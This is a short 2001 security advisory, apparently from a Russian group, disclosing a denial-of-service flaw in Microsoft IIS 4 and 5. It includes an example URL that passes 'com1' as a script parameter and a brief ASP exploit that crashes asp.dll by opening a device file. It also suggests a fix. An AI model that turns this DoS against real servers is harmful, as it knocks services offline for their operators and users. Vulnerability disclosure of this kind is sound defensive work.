--== NERF gr0up security advisory #4 ==--
MS IIS local and remote DoS
1. Vulnerable soft: IIS 4,5
2. Description:
Openning and reading of device files (com1, com2, etc.) using
Scripting.FileSystemObject will crash ASP-processor (asp.dll).
3. Local exploit:
If you have permission on creating .asp-file, you can crash ASP-processor.
4. Remote exploit:
Sometimes filename passing as asp-script param, which open and read data from file.
Passing param as device file will
crash asp-processor.
http://host.int/scripts/script.asp?script=com1
5. Solution:
Fix Scripting.FileSystemObject (have to check file for existing before openning.
6. ASP-Exploit:
<%
Dim strFileName, objFSO, objFile
Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
strFileName = "com1"
Set objFile = objFSO.OpenTextFile(strFileName)
Response.Write objFile.ReadAll
objFile.Close
%>
7.Sorry:
for poor english
---------------------------------------------------
Found by buggzy ([EMAIL PROTECTED])
NERF Security gr0up (www.nerf.ru), Russia, 2001 (c)
